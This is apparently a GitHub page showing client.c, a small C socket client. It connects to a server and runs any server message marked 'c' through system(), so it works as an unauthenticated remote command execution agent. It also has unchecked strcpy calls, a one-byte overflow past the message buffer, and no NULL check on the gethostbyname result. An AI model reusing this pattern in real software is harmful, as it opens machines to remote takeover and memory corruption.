-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclient.c
79 lines (67 loc) · 1.98 KB
/
client.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <netdb.h>
#define DEFAULT_SERVER_PORT 5432
#define MAX_MSG_SIZE 1024
int main(int argc, char *argv[])
{
int port = DEFAULT_SERVER_PORT;
int client_sockfd;
struct sockaddr_in server_addr;
int addrlen = sizeof(struct sockaddr_in);
char message[MAX_MSG_SIZE + 1];
char hostname[MAX_MSG_SIZE];
struct hostent *hostinfo;
//parse command line arguments
if(argc == 2){
strcpy(hostname, argv[1]);
} else if(argc == 4){
if(!strcmp("-p", argv[1])){
sscanf(argv[2], "%d", &port);
strcpy(hostname, argv[3]);
} else{
printf("Usage: %s [-p PORT] HOST-IP-ADDRESS\n", argv[0]);
exit(0);
}
} else{
printf("Usage: %s [-p PORT] HOST-IP-ADDRESS\n", argv[0]);
exit(0);
}
bzero(&server_addr, addrlen);
client_sockfd = socket(AF_INET, SOCK_STREAM, 0);
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
hostinfo = gethostbyname(hostname);
server_addr.sin_addr = *(struct in_addr *) *hostinfo -> h_addr_list;
//connect to server
if(connect(client_sockfd, (struct sockaddr *) &server_addr, addrlen) < 0){
perror("connect");
exit(1);
}
//use different message[0] for messages
//message[0] == X => termination
//message[0] == m => normal message
//message[0] == c => command
while(1){
printf(">> ");
fflush(stdout);
int bytes = read(client_sockfd, message, MAX_MSG_SIZE + 1);
if(bytes <= 0 || message[0] == 'X')
break;
message[bytes] = '\0';
printf("%s", message+1);
if(message[0] == 'c' && strlen(message+1))//command
system(message+1);
}
return 0;
}